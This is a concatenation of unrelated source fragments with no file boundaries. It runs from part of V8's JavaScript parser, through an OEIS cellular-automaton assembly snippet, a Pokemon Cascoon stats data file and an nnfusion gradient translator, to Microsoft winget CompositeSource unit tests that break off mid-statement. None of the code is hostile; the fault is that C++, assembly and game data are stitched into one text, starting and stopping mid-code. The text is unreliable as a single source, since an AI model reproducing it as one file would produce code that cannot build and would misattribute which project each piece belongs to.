SkipFunctionLiterals(num_inner_functions); function_scope->ResetAfterPreparsing(ast_value_factory_, false); return true; } Scanner::BookmarkScope bookmark(scanner()); bookmark.Set(function_scope->start_position()); // With no cached data, we partially parse the function, without building an // AST. This gathers the data needed to build a lazy function. TRACE_EVENT0(TRACE_DISABLED_BY_DEFAULT("v8.compile"), "V8.PreParse"); PreParser::PreParseResult result = reusable_preparser()->PreParseFunction( function_name, kind, function_type, function_scope, use_counts_, produced_preparse_data, this->script_id()); if (result == PreParser::kPreParseStackOverflow) { // Propagate stack overflow. set_stack_overflow(); } else if (pending_error_handler()->has_error_unidentifiable_by_preparser()) { // Make sure we don't re-preparse inner functions of the aborted function. // The error might be in an inner function. allow_lazy_ = false; mode_ = PARSE_EAGERLY; DCHECK(!pending_error_handler()->stack_overflow()); // If we encounter an error that the preparser can not identify we reset to // the state before preparsing. The caller may then fully parse the function // to identify the actual error. bookmark.Apply(); function_scope->ResetAfterPreparsing(ast_value_factory(), true); pending_error_handler()->clear_unidentifiable_error(); return false; } else if (pending_error_handler()->has_pending_error()) { DCHECK(!pending_error_handler()->stack_overflow()); DCHECK(has_error()); } else { DCHECK(!pending_error_handler()->stack_overflow()); set_allow_eval_cache(reusable_preparser()->allow_eval_cache()); PreParserLogger* logger = reusable_preparser()->logger(); function_scope->set_end_position(logger->end()); Expect(Token::RBRACE); total_preparse_skipped_ += function_scope->end_position() - function_scope->start_position(); *num_parameters = logger->num_parameters(); SkipFunctionLiterals(logger->num_inner_functions()); function_scope->AnalyzePartially(this, factory()); } return true; } Block* Parser::BuildParameterInitializationBlock( const ParserFormalParameters& parameters) { DCHECK(!parameters.is_simple); DCHECK(scope()->is_function_scope()); DCHECK_EQ(scope(), parameters.scope); ScopedPtrList<Statement> init_statements(pointer_buffer()); int index = 0; for (auto parameter : parameters.params) { Expression* initial_value = factory()->NewVariableProxy(parameters.scope->parameter(index)); if (parameter->initializer() != nullptr) { // IS_UNDEFINED($param) ? initializer : $param auto condition = factory()->NewCompareOperation( Token::EQ_STRICT, factory()->NewVariableProxy(parameters.scope->parameter(index)), factory()->NewUndefinedLiteral(kNoSourcePosition), kNoSourcePosition); initial_value = factory()->NewConditional(condition, parameter->initializer(), initial_value, kNoSourcePosition); } Scope* param_scope = scope(); ScopedPtrList<Statement>* param_init_statements = &init_statements; base::Optional<ScopedPtrList<Statement>> non_simple_param_init_statements; if (!parameter->is_simple() && scope()->AsDeclarationScope()->calls_sloppy_eval()) { param_scope = NewVarblockScope(); param_scope->set_start_position(parameter->pattern->position()); param_scope->set_end_position(parameter->initializer_end_position); param_scope->RecordEvalCall(); non_simple_param_init_statements.emplace(pointer_buffer()); param_init_statements = &non_simple_param_init_statements.value(); // Rewrite the outer initializer to point to param_scope ReparentExpressionScope(stack_limit(), parameter->pattern, param_scope); ReparentExpressionScope(stack_limit(), initial_value, param_scope); } BlockState block_state(&scope_, param_scope); DeclarationParsingResult::Declaration decl(parameter->pattern, initial_value); InitializeVariables(param_init_statements, PARAMETER_VARIABLE, &decl); if (param_init_statements != &init_statements) { DCHECK_EQ(param_init_statements, &non_simple_param_init_statements.value()); Block* param_block = factory()->NewBlock(true, *non_simple_param_init_statements); non_simple_param_init_statements.reset(); param_block->set_scope(param_scope); param_scope = param_scope->FinalizeBlockScope(); init_statements.Add(param_block); } ++index; } return factory()->NewBlock(true, init_statements); } Scope* Parser::NewHiddenCatchScope() { Scope* catch_scope = NewScopeWithParent(scope(), CATCH_SCOPE); bool was_added; catch_scope->DeclareLocal(ast_value_factory()->dot_catch_string(), VariableMode::kVar, NORMAL_VARIABLE, &was_added); DCHECK(was_added); catch_scope->set_is_hidden(); return catch_scope; } Block* Parser::BuildRejectPromiseOnException(Block* inner_block) { // try { // <inner_block> // } catch (.catch) { // return %_AsyncFunctionReject(.generator_object, .catch, can_suspend); // } Block* result = factory()->NewBlock(1, true); // catch (.catch) { // return %_AsyncFunctionReject(.generator_object, .catch, can_suspend) // } Scope* catch_scope = NewHiddenCatchScope(); Expression* reject_promise; { ScopedPtrList<Expression> args(pointer_buffer()); args.Add(factory()->NewVariableProxy( function_state_->scope()->generator_object_var())); args.Add(factory()->NewVariableProxy(catch_scope->catch_variable())); args.Add(factory()->NewBooleanLiteral(function_state_->CanSuspend(), kNoSourcePosition)); reject_promise = factory()->NewCallRuntime( Runtime::kInlineAsyncFunctionReject, args, kNoSourcePosition); } Block* catch_block = IgnoreCompletion( factory()->NewReturnStatement(reject_promise, kNoSourcePosition)); TryStatement* try_catch_statement = factory()->NewTryCatchStatementForAsyncAwait( inner_block, catch_scope, catch_block, kNoSourcePosition); result->statements()->Add(try_catch_statement, zone()); return result; } Expression* Parser::BuildInitialYield(int pos, FunctionKind kind) { Expression* yield_result = factory()->NewVariableProxy( function_state_->scope()->generator_object_var()); // The position of the yield is important for reporting the exception // caused by calling the .throw method on a generator suspended at the // initial yield (i.e. right after generator instantiation). function_state_->AddSuspend(); return factory()->NewYield(yield_result, scope()->start_position(), Suspend::kOnExceptionThrow); } void Parser::ParseFunction( ScopedPtrList<Statement>* body, const AstRawString* function_name, int pos, FunctionKind kind, FunctionLiteral::FunctionType function_type, DeclarationScope* function_scope, int* num_parameters, int* function_length, bool* has_duplicate_parameters, int* expected_property_count, int* suspend_count, ZonePtrList<const AstRawString>* arguments_for_wrapped_function) { ParsingModeScope mode(this, allow_lazy_ ? PARSE_LAZILY : PARSE_EAGERLY); FunctionState function_state(&function_state_, &scope_, function_scope); bool is_wrapped = function_type == FunctionLiteral::kWrapped; int expected_parameters_end_pos = parameters_end_pos_; if (expected_parameters_end_pos != kNoSourcePosition) { // This is the first function encountered in a CreateDynamicFunction eval. parameters_end_pos_ = kNoSourcePosition; // The function name should have been ignored, giving us the empty string // here. DCHECK_EQ(function_name, ast_value_factory()->empty_string()); } ParserFormalParameters formals(function_scope); { ParameterDeclarationParsingScope formals_scope(this); if (is_wrapped) { // For a function implicitly wrapped in function header and footer, the // function arguments are provided separately to the source, and are // declared directly here. int arguments_length = arguments_for_wrapped_function->length(); for (int i = 0; i < arguments_length; i++) { const bool is_rest = false; Expression* argument = ExpressionFromIdentifier( arguments_for_wrapped_function->at(i), kNoSourcePosition); AddFormalParameter(&formals, argument, NullExpression(), kNoSourcePosition, is_rest); } DCHECK_EQ(arguments_length, formals.num_parameters()); DeclareFormalParameters(&formals); } else { // For a regular function, the function arguments are parsed from source. DCHECK_NULL(arguments_for_wrapped_function); ParseFormalParameterList(&formals); if (expected_parameters_end_pos != kNoSourcePosition) { // Check for '(' or ')' shenanigans in the parameter string for dynamic // functions. int position = peek_position(); if (position < expected_parameters_end_pos) { ReportMessageAt(Scanner::Location(position, position + 1), MessageTemplate::kArgStringTerminatesParametersEarly); return; } else if (position > expected_parameters_end_pos) { ReportMessageAt(Scanner::Location(expected_parameters_end_pos - 2, expected_parameters_end_pos), MessageTemplate::kUnexpectedEndOfArgString); return; } } Expect(Token::RPAREN); int formals_end_position = scanner()->location().end_pos; CheckArityRestrictions(formals.arity, kind, formals.has_rest, function_scope->start_position(), formals_end_position); Expect(Token::LBRACE); } formals.duplicate_loc = formals_scope.duplicate_location(); } *num_parameters = formals.num_parameters(); *function_length = formals.function_length; AcceptINScope scope(this, true); ParseFunctionBody(body, function_name, pos, formals, kind, function_type, FunctionBodyType::kBlock); *has_duplicate_parameters = formals.has_duplicate(); *expected_property_count = function_state.expected_property_count(); *suspend_count = function_state.suspend_count(); } void Parser::DeclareClassVariable(const AstRawString* name, ClassInfo* class_info, int class_token_pos) { #ifdef DEBUG scope()->SetScopeName(name); #endif if (name != nullptr) { VariableProxy* proxy = DeclareBoundVariable(name, VariableMode::kConst, class_token_pos); class_info->variable = proxy->var(); } } // TODO(gsathya): Ideally, this should just bypass scope analysis and // allocate a slot directly on the context. We should just store this // index in the AST, instead of storing the variable. Variable* Parser::CreateSyntheticContextVariable(const AstRawString* name) { VariableProxy* proxy = DeclareBoundVariable(name, VariableMode::kConst, kNoSourcePosition); proxy->var()->ForceContextAllocation(); return proxy->var(); } void Parser::DeclareClassField(ClassLiteralProperty* property, const AstRawString* property_name, bool is_static, bool is_computed_name, bool is_private, ClassInfo* class_info) { DCHECK(allow_harmony_public_fields() || allow_harmony_private_fields()); if (is_static) { class_info->static_fields->Add(property, zone()); } else { class_info->instance_fields->Add(property, zone()); } DCHECK_IMPLIES(is_computed_name, !is_private); if (is_computed_name) { // We create a synthetic variable name here so that scope // analysis doesn't dedupe the vars. Variable* computed_name_var = CreateSyntheticContextVariable(ClassFieldVariableName( ast_value_factory(), class_info->computed_field_count)); property->set_computed_name_var(computed_name_var); class_info->properties->Add(property, zone()); } else if (is_private) { Variable* private_name_var = CreateSyntheticContextVariable(property_name); private_name_var->set_initializer_position(property->value()->position()); property->set_private_name_var(private_name_var); class_info->properties->Add(property, zone()); } } // This method declares a property of the given class. It updates the // following fields of class_info, as appropriate: // - constructor // - properties void Parser::DeclareClassProperty(const AstRawString* class_name, ClassLiteralProperty* property, bool is_constructor, ClassInfo* class_info) { if (is_constructor) { DCHECK(!class_info->constructor); class_info->constructor = property->value()->AsFunctionLiteral(); DCHECK_NOT_NULL(class_info->constructor); class_info->constructor->set_raw_name( class_name != nullptr ? ast_value_factory()->NewConsString(class_name) : nullptr); return; } class_info->properties->Add(property, zone()); } FunctionLiteral* Parser::CreateInitializerFunction( const char* name, DeclarationScope* scope, ZonePtrList<ClassLiteral::Property>* fields) { DCHECK_EQ(scope->function_kind(), FunctionKind::kClassMembersInitializerFunction); // function() { .. class fields initializer .. } ScopedPtrList<Statement> statements(pointer_buffer()); InitializeClassMembersStatement* static_fields = factory()->NewInitializeClassMembersStatement(fields, kNoSourcePosition); statements.Add(static_fields); return factory()->NewFunctionLiteral( ast_value_factory()->GetOneByteString(name), scope, statements, 0, 0, 0, FunctionLiteral::kNoDuplicateParameters, FunctionLiteral::kAnonymousExpression, FunctionLiteral::kShouldEagerCompile, scope->start_position(), false, GetNextFunctionLiteralId()); } // This method generates a ClassLiteral AST node. // It uses the following fields of class_info: // - constructor (if missing, it updates it with a default constructor) // - proxy // - extends // - properties // - has_name_static_property // - has_static_computed_names Expression* Parser::RewriteClassLiteral(Scope* block_scope, const AstRawString* name, ClassInfo* class_info, int pos, int end_pos) { DCHECK_NOT_NULL(block_scope); DCHECK_EQ(block_scope->scope_type(), BLOCK_SCOPE); DCHECK_EQ(block_scope->language_mode(), LanguageMode::kStrict); bool has_extends = class_info->extends != nullptr; bool has_default_constructor = class_info->constructor == nullptr; if (has_default_constructor) { class_info->constructor = DefaultConstructor(name, has_extends, pos, end_pos); } if (name != nullptr) { DCHECK_NOT_NULL(class_info->variable); class_info->variable->set_initializer_position(end_pos); } FunctionLiteral* static_fields_initializer = nullptr; if (class_info->has_static_class_fields) { static_fields_initializer = CreateInitializerFunction( "<static_fields_initializer>", class_info->static_fields_scope, class_info->static_fields); } FunctionLiteral* instance_members_initializer_function = nullptr; if (class_info->has_instance_members) { instance_members_initializer_function = CreateInitializerFunction( "<instance_members_initializer>", class_info->instance_members_scope, class_info->instance_fields); class_info->constructor->set_requires_instance_members_initializer(true); } ClassLiteral* class_literal = factory()->NewClassLiteral( block_scope, class_info->variable, class_info->extends, class_info->constructor, class_info->properties, static_fields_initializer, instance_members_initializer_function, pos, end_pos, class_info->has_name_static_property, class_info->has_static_computed_names, class_info->is_anonymous); AddFunctionForNameInference(class_info->constructor); return class_literal; } bool Parser::IsPropertyWithPrivateFieldKey(Expression* expression) { if (!expression->IsProperty()) return false; Property* property = expression->AsProperty(); if (!property->key()->IsVariableProxy()) return false; VariableProxy* key = property->key()->AsVariableProxy(); return key->IsPrivateName(); } void Parser::InsertShadowingVarBindingInitializers(Block* inner_block) { // For each var-binding that shadows a parameter, insert an assignment // initializing the variable with the parameter. Scope* inner_scope = inner_block->scope(); DCHECK(inner_scope->is_declaration_scope()); Scope* function_scope = inner_scope->outer_scope(); DCHECK(function_scope->is_function_scope()); BlockState block_state(&scope_, inner_scope); for (Declaration* decl : *inner_scope->declarations()) { if (decl->var()->mode() != VariableMode::kVar || !decl->IsVariableDeclaration()) { continue; } const AstRawString* name = decl->var()->raw_name(); Variable* parameter = function_scope->LookupLocal(name); if (parameter == nullptr) continue; VariableProxy* to = NewUnresolved(name); VariableProxy* from = factory()->NewVariableProxy(parameter); Expression* assignment = factory()->NewAssignment(Token::ASSIGN, to, from, kNoSourcePosition); Statement* statement = factory()->NewExpressionStatement(assignment, kNoSourcePosition); inner_block->statements()->InsertAt(0, statement, zone()); } } void Parser::InsertSloppyBlockFunctionVarBindings(DeclarationScope* scope) { // For the outermost eval scope, we cannot hoist during parsing: let // declarations in the surrounding scope may prevent hoisting, but the // information is unaccessible during parsing. In this case, we hoist later in // DeclarationScope::Analyze. if (scope->is_eval_scope() && scope->outer_scope() == original_scope_) { return; } scope->HoistSloppyBlockFunctions(factory()); } // ---------------------------------------------------------------------------- // Parser support bool Parser::TargetStackContainsLabel(const AstRawString* label) { for (ParserTarget* t = target_stack_; t != nullptr; t = t->previous()) { if (ContainsLabel(t->statement()->labels(), label)) return true; } return false; } BreakableStatement* Parser::LookupBreakTarget(const AstRawString* label) { bool anonymous = label == nullptr; for (ParserTarget* t = target_stack_; t != nullptr; t = t->previous()) { BreakableStatement* stat = t->statement(); if ((anonymous && stat->is_target_for_anonymous()) || (!anonymous && ContainsLabel(stat->labels(), label))) { return stat; } } return nullptr; } IterationStatement* Parser::LookupContinueTarget(const AstRawString* label) { bool anonymous = label == nullptr; for (ParserTarget* t = target_stack_; t != nullptr; t = t->previous()) { IterationStatement* stat = t->statement()->AsIterationStatement(); if (stat == nullptr) continue; DCHECK(stat->is_target_for_anonymous()); if (anonymous || ContainsLabel(stat->own_labels(), label)) { return stat; } if (ContainsLabel(stat->labels(), label)) break; } return nullptr; } void Parser::HandleSourceURLComments(Isolate* isolate, Handle<Script> script) { Handle<String> source_url = scanner_.SourceUrl(isolate); if (!source_url.is_null()) { script->set_source_url(*source_url); } Handle<String> source_mapping_url = scanner_.SourceMappingUrl(isolate); if (!source_mapping_url.is_null()) { script->set_source_mapping_url(*source_mapping_url); } } void Parser::UpdateStatistics(Isolate* isolate, Handle<Script> script) { // Move statistics to Isolate. for (int feature = 0; feature < v8::Isolate::kUseCounterFeatureCount; ++feature) { if (use_counts_[feature] > 0) { isolate->CountUsage(v8::Isolate::UseCounterFeature(feature)); } } if (scanner_.FoundHtmlComment()) { isolate->CountUsage(v8::Isolate::kHtmlComment); if (script->line_offset() == 0 && script->column_offset() == 0) { isolate->CountUsage(v8::Isolate::kHtmlCommentInExternalScript); } } isolate->counters()->total_preparse_skipped()->Increment( total_preparse_skipped_); } void Parser::ParseOnBackground(ParseInfo* info) { RuntimeCallTimerScope runtimeTimer( runtime_call_stats_, RuntimeCallCounterId::kParseBackgroundProgram); parsing_on_main_thread_ = false; set_script_id(info->script_id()); DCHECK_NULL(info->literal()); FunctionLiteral* result = nullptr; scanner_.Initialize(); DCHECK(info->maybe_outer_scope_info().is_null()); DCHECK(original_scope_); // When streaming, we don't know the length of the source until we have parsed // it. The raw data can be UTF-8, so we wouldn't know the source length until // we have decoded it anyway even if we knew the raw data length (which we // don't). We work around this by storing all the scopes which need their end // position set at the end of the script (the top scope and possible eval // scopes) and set their end position after we know the script length. if (info->is_toplevel()) { result = DoParseProgram(/* isolate = */ nullptr, info); } else { result = DoParseFunction(/* isolate = */ nullptr, info, info->function_name()); } MaybeResetCharacterStream(info, result); info->set_literal(result); // We cannot internalize on a background thread; a foreground task will take // care of calling AstValueFactory::Internalize just before compilation. } Parser::TemplateLiteralState Parser::OpenTemplateLiteral(int pos) { return new (zone()) TemplateLiteral(zone(), pos); } void Parser::AddTemplateSpan(TemplateLiteralState* state, bool should_cook, bool tail) { int end = scanner()->location().end_pos - (tail ? 1 : 2); const AstRawString* raw = scanner()->CurrentRawSymbol(ast_value_factory()); if (should_cook) { const AstRawString* cooked = scanner()->CurrentSymbol(ast_value_factory()); (*state)->AddTemplateSpan(cooked, raw, end, zone()); } else { (*state)->AddTemplateSpan(nullptr, raw, end, zone()); } } void Parser::AddTemplateExpression(TemplateLiteralState* state, Expression* expression) { (*state)->AddExpression(expression, zone()); } Expression* Parser::CloseTemplateLiteral(TemplateLiteralState* state, int start, Expression* tag) { TemplateLiteral* lit = *state; int pos = lit->position(); const ZonePtrList<const AstRawString>* cooked_strings = lit->cooked(); const ZonePtrList<const AstRawString>* raw_strings = lit->raw(); const ZonePtrList<Expression>* expressions = lit->expressions(); DCHECK_EQ(cooked_strings->length(), raw_strings->length()); DCHECK_EQ(cooked_strings->length(), expressions->length() + 1); if (!tag) { if (cooked_strings->length() == 1) { return factory()->NewStringLiteral(cooked_strings->first(), pos); } return factory()->NewTemplateLiteral(cooked_strings, expressions, pos); } else { // GetTemplateObject Expression* template_object = factory()->NewGetTemplateObject(cooked_strings, raw_strings, pos); // Call TagFn ScopedPtrList<Expression> call_args(pointer_buffer()); call_args.Add(template_object); call_args.AddAll(*expressions); return factory()->NewTaggedTemplate(tag, call_args, pos); } } namespace { bool OnlyLastArgIsSpread(const ScopedPtrList<Expression>& args) { for (int i = 0; i < args.length() - 1; i++) { if (args.at(i)->IsSpread()) { return false; } } return args.at(args.length() - 1)->IsSpread(); } } // namespace ArrayLiteral* Parser::ArrayLiteralFromListWithSpread( const ScopedPtrList<Expression>& list) { // If there's only a single spread argument, a fast path using CallWithSpread // is taken. DCHECK_LT(1, list.length()); // The arguments of the spread call become a single ArrayLiteral. int first_spread = 0; for (; first_spread < list.length() && !list.at(first_spread)->IsSpread(); ++first_spread) { } DCHECK_LT(first_spread, list.length()); return factory()->NewArrayLiteral(list, first_spread, kNoSourcePosition); } Expression* Parser::SpreadCall(Expression* function, const ScopedPtrList<Expression>& args_list, int pos, Call::PossiblyEval is_possibly_eval) { // Handle this case in BytecodeGenerator. if (OnlyLastArgIsSpread(args_list) || function->IsSuperCallReference()) { return factory()->NewCall(function, args_list, pos); } ScopedPtrList<Expression> args(pointer_buffer()); if (function->IsProperty()) { // Method calls if (function->AsProperty()->IsSuperAccess()) { Expression* home = ThisExpression(kNoSourcePosition); args.Add(function); args.Add(home); } else { Variable* temp = NewTemporary(ast_value_factory()->empty_string()); VariableProxy* obj = factory()->NewVariableProxy(temp); Assignment* assign_obj = factory()->NewAssignment( Token::ASSIGN, obj, function->AsProperty()->obj(), kNoSourcePosition); function = factory()->NewProperty( assign_obj, function->AsProperty()->key(), kNoSourcePosition); args.Add(function); obj = factory()->NewVariableProxy(temp); args.Add(obj); } } else { // Non-method calls args.Add(function); args.Add(factory()->NewUndefinedLiteral(kNoSourcePosition)); } args.Add(ArrayLiteralFromListWithSpread(args_list)); return factory()->NewCallRuntime(Context::REFLECT_APPLY_INDEX, args, pos); } Expression* Parser::SpreadCallNew(Expression* function, const ScopedPtrList<Expression>& args_list, int pos) { if (OnlyLastArgIsSpread(args_list)) { // Handle in BytecodeGenerator. return factory()->NewCallNew(function, args_list, pos); } ScopedPtrList<Expression> args(pointer_buffer()); args.Add(function); args.Add(ArrayLiteralFromListWithSpread(args_list)); return factory()->NewCallRuntime(Context::REFLECT_CONSTRUCT_INDEX, args, pos); } void Parser::SetLanguageMode(Scope* scope, LanguageMode mode) { v8::Isolate::UseCounterFeature feature; if (is_sloppy(mode)) feature = v8::Isolate::kSloppyMode; else if (is_strict(mode)) feature = v8::Isolate::kStrictMode; else UNREACHABLE(); ++use_counts_[feature]; scope->SetLanguageMode(mode); } void Parser::SetAsmModule() { // Store the usage count; The actual use counter on the isolate is // incremented after parsing is done. ++use_counts_[v8::Isolate::kUseAsm]; DCHECK(scope()->is_declaration_scope()); scope()->AsDeclarationScope()->set_is_asm_module(); info_->set_contains_asm_module(true); } Expression* Parser::ExpressionListToExpression( const ScopedPtrList<Expression>& args) { Expression* expr = args.at(0); if (args.length() == 1) return expr; if (args.length() == 2) { return factory()->NewBinaryOperation(Token::COMMA, expr, args.at(1), args.at(1)->position()); } NaryOperation* result = factory()->NewNaryOperation(Token::COMMA, expr, args.length() - 1); for (int i = 1; i < args.length(); i++) { result->AddSubsequent(args.at(i), args.at(i)->position()); } return result; } // This method completes the desugaring of the body of async_function. void Parser::RewriteAsyncFunctionBody(ScopedPtrList<Statement>* body, Block* block, Expression* return_value) { // function async_function() { // .generator_object = %_AsyncFunctionEnter(); // BuildRejectPromiseOnException({ // ... block ... // return %_AsyncFunctionResolve(.generator_object, expr); // }) // } block->statements()->Add(factory()->NewAsyncReturnStatement( return_value, return_value->position()), zone()); block = BuildRejectPromiseOnException(block); body->Add(block); } void Parser::SetFunctionNameFromPropertyName(LiteralProperty* property, const AstRawString* name, const AstRawString* prefix) { if (has_error()) return; // Ensure that the function we are going to create has shared name iff // we are not going to set it later. if (property->NeedsSetFunctionName()) { name = nullptr; prefix = nullptr; } else { // If the property value is an anonymous function or an anonymous class or // a concise method or an accessor function which doesn't require the name // to be set then the shared name must be provided. DCHECK_IMPLIES(property->value()->IsAnonymousFunctionDefinition() || property->value()->IsConciseMethodDefinition() || property->value()->IsAccessorFunctionDefinition(), name != nullptr); } Expression* value = property->value(); SetFunctionName(value, name, prefix); } void Parser::SetFunctionNameFromPropertyName(ObjectLiteralProperty* property, const AstRawString* name, const AstRawString* prefix) { // Ignore "__proto__" as a name when it's being used to set the [[Prototype]] // of an object literal. // See ES #sec-__proto__-property-names-in-object-initializers. if (property->IsPrototype() || has_error()) return; DCHECK(!property->value()->IsAnonymousFunctionDefinition() || property->kind() == ObjectLiteralProperty::COMPUTED); SetFunctionNameFromPropertyName(static_cast<LiteralProperty*>(property), name, prefix); } void Parser::SetFunctionNameFromIdentifierRef(Expression* value, Expression* identifier) { if (!identifier->IsVariableProxy()) return; SetFunctionName(value, identifier->AsVariableProxy()->raw_name()); } void Parser::SetFunctionName(Expression* value, const AstRawString* name, const AstRawString* prefix) { if (!value->IsAnonymousFunctionDefinition() && !value->IsConciseMethodDefinition() && !value->IsAccessorFunctionDefinition()) { return; } auto function = value->AsFunctionLiteral(); if (value->IsClassLiteral()) { function = value->AsClassLiteral()->constructor(); } if (function != nullptr) { AstConsString* cons_name = nullptr; if (name != nullptr) { if (prefix != nullptr) { cons_name = ast_value_factory()->NewConsString(prefix, name); } else { cons_name = ast_value_factory()->NewConsString(name); } } else { DCHECK_NULL(prefix); } function->set_raw_name(cons_name); } } Statement* Parser::CheckCallable(Variable* var, Expression* error, int pos) { const int nopos = kNoSourcePosition; Statement* validate_var; { Expression* type_of = factory()->NewUnaryOperation( Token::TYPEOF, factory()->NewVariableProxy(var), nopos); Expression* function_literal = factory()->NewStringLiteral( ast_value_factory()->function_string(), nopos); Expression* condition = factory()->NewCompareOperation( Token::EQ_STRICT, type_of, function_literal, nopos); Statement* throw_call = factory()->NewExpressionStatement(error, pos); validate_var = factory()->NewIfStatement( condition, factory()->EmptyStatement(), throw_call, nopos); } return validate_var; } } // namespace internal } // namespace v8
; A267883: Number of OFF (white) cells in the n-th iteration of the "Rule 233" elementary cellular automaton starting with a single ON (black) cell. ; 0,3,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0 mov $1,4 trn $1,$0 mod $1,4 mov $0,$1
db 0 ; 268 DEX NO db 50, 35, 55, 15, 25, 25 ; hp atk def spd sat sdf db BUG, BUG ; type db 120 ; catch rate db 72 ; base exp db NO_ITEM, NO_ITEM ; items db GENDER_F50 ; gender ratio db 100 ; unknown 1 db 15 ; step cycles to hatch db 5 ; unknown 2 INCBIN "gfx/pokemon/hoenn/cascoon/front.dimensions" db 0, 0, 0, 0 ; padding db GROWTH_MEDIUM_FAST ; growth rate dn EGG_BUG, EGG_BUG ; egg groups ; tm/hm learnset tmhm ; end
//***************************************************************************** // Copyright 2017-2020 Intel Corporation // // Licensed under the Apache License, Version 2.0 (the "License"); // you may not use this file except in compliance with the License. // You may obtain a copy of the License at // // http://www.apache.org/licenses/LICENSE-2.0 // // Unless required by applicable law or agreed to in writing, software // distributed under the License is distributed on an "AS IS" BASIS, // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. // See the License for the specific language governing permissions and // limitations under the License. //***************************************************************************** #include "backward_registry.hpp" REGISTER_BACKWARD_TRANSLATOR(Subtract).translator([](std::shared_ptr<GNode> forward_node, const GNodeIndexVector& outputs_grad, std::shared_ptr<nnfusion::graph::Graph> graph) -> GNodeIndexVector { NNFUSION_CHECK(outputs_grad.size() == 1) << "subtract have only 1 output, but " << outputs_grad.size() << " outputs_grad provided"; auto neg_out_grad = graph->add_node_and_edge(std::make_shared<op::Negative>(), outputs_grad); return GNodeIndexVector{outputs_grad[0], GNodeIndex{neg_out_grad, 0}}; });
// Copyright (c) Microsoft Corporation. // Licensed under the MIT License. #include "pch.h" #include "TestCommon.h" #include "TestSource.h" #include <CompositeSource.h> using namespace std::string_literals; using namespace std::string_view_literals; using namespace TestCommon; using namespace AppInstaller; using namespace AppInstaller::Repository; using namespace AppInstaller::Utility; constexpr std::string_view s_Everything_Query = "everything"sv; // A test source that has two modes: // 1. A request that IsForEverything returns the stored result. This models the // incoming search request to a CompositeSource. // 2. A request that is not for everything invokes TestSource::SearchFunction to // enable verification of expectations. struct ComponentTestSource : public TestSource { SearchResult Search(const SearchRequest& request) const override { if (request.Query && request.Query.value().Value == s_Everything_Query) { return Everything; } else if (SearchFunction) { return SearchFunction(request); } else { return {}; } } SearchResult Everything; }; // A helper to create the sources used by the majority of tests in this file. struct CompositeTestSetup { CompositeTestSetup() : Composite("*Tests") { Installed = std::make_shared<ComponentTestSource>(); Available = std::make_shared<ComponentTestSource>(); Composite.SetInstalledSource(Installed); Composite.AddAvailableSource(Available); } SearchResult Search() { SearchRequest request; request.Query = RequestMatch(MatchType::Exact, s_Everything_Query); return Composite.Search(request); } std::shared_ptr<ComponentTestSource> Installed; std::shared_ptr<ComponentTestSource> Available; CompositeSource Composite; }; // A helper to make matches. struct Criteria : public PackageMatchFilter { Criteria() : PackageMatchFilter(PackageMatchField::Id, MatchType::Wildcard, ""sv) {} }; Manifest::Manifest MakeDefaultManifest() { Manifest::Manifest result; result.Id = "Id"; result.Name = "Name"; result.Publisher = "Publisher"; result.Version = "1.0"; result.Installers.push_back({}); return result; } std::shared_ptr<TestPackage> MakeInstalled(std::function<void(Manifest::Manifest&)> op) { Manifest::Manifest manifest = MakeDefaultManifest(); op(manifest); return TestPackage::Make(manifest, TestPackage::MetadataMap{}); } std::shared_ptr<TestPackage> MakeAvailable(std::function<void(Manifest::Manifest&)> op) { Manifest::Manifest manifest = MakeDefaultManifest(); op(manifest); return TestPackage::Make(std::vector<Manifest::Manifest>{ manifest }); } std::function<void(Manifest::Manifest&)> WithPFN(const std::string& pfn) { return [pfn](Manifest::Manifest& m) { m.Installers[0].PackageFamilyName = pfn; }; } std::function<void(Manifest::Manifest&)> WithPC(const std::string& pc) { return [pc](Manifest::Manifest& m) { m.Installers[0].ProductCode = pc; }; } TEST_CASE("CompositeSource_PackageFamilyName_NotAvailable", "[CompositeSource]") { // Pre-folded for easier == std::string pfn = "sortof_apfn"; CompositeTestSetup setup; setup.Installed->Everything.Matches.emplace_back(MakeInstalled(WithPFN(pfn)), Criteria()); SearchResult result = setup.Search(); REQUIRE(result.Matches.size() == 1); REQUIRE(result.Matches[0].Package->GetInstalledVersion()); REQUIRE(result.Matches[0].Package->GetAvailableVersionKeys().empty()); } TEST_CASE("CompositeSource_PackageFamilyName_Available", "[CompositeSource]") { std::string pfn = "sortof_apfn"; CompositeTestSetup setup; setup.Installed->Everything.Matches.emplace_back(MakeInstalled(WithPFN(pfn)), Criteria()); setup.Available->SearchFunction = [&](const SearchRequest& request) { REQUIRE(request.Inclusions.size() == 1); REQUIRE(request.Inclusions[0].Value == pfn); SearchResult result; result.Matches.emplace_back(MakeAvailable(WithPFN(pfn)), Criteria()); return result; }; SearchResult result = setup.Search(); REQUIRE(result.Matches.size() == 1); REQUIRE(result.Matches[0].Package->GetInstalledVersion()); REQUIRE(result.Matches[0].Package->GetAvailableVersionKeys().size() == 1); } TEST_CASE("CompositeSource_ProductCode_NotAvailable", "[CompositeSource]") { std::string pc = "thiscouldbeapc"; CompositeTestSetup setup; setup.Installed->Everything.Matches.emplace_back(MakeInstalled(WithPC(pc)), Criteria()); SearchResult result = setup.Search(); REQUIRE(result.Matches.size() == 1); REQUIRE(result.Matches[0].Package->GetInstalledVersion()); REQUIRE(result.Matches[0].Package->GetAvailableVersionKeys().empty()); } TEST_CASE("CompositeSource_ProductCode_Available", "[CompositeSource]") { std::string pc = "thiscouldbeapc"; CompositeTestSetup setup; setup.Installed->Everything.Matches.emplace_back(MakeInstalled(WithPC(pc)), Criteria()); setup.Available->SearchFunction = [&](const SearchRequest& request) { REQUIRE(request.Inclusions.size() == 1); REQUIRE(request.Inclusions[0].Value == pc); SearchResult result; result.Matches.emplace_back(MakeAvailable(WithPC(pc)), Criteria()); return result; }; SearchResult result = setup.Search(); REQUIRE(result.Matches.size() == 1); REQUIRE(result.Matches[0].Package->GetInstalledVersion()); REQUIRE(result.Matches[0].Package->GetAvailableVersionKeys().size() == 1); } TEST_CASE("CompositeSource_MultiMatch_FindsId", "[CompositeSource]") { std::string name = "MatchingName"; CompositeTestSetup setup; setup.Installed->Everything.Matches.emplace_back(MakeInstalled(WithPFN("sortof_apfn")), Criteria()); setup.Available->SearchFunction = 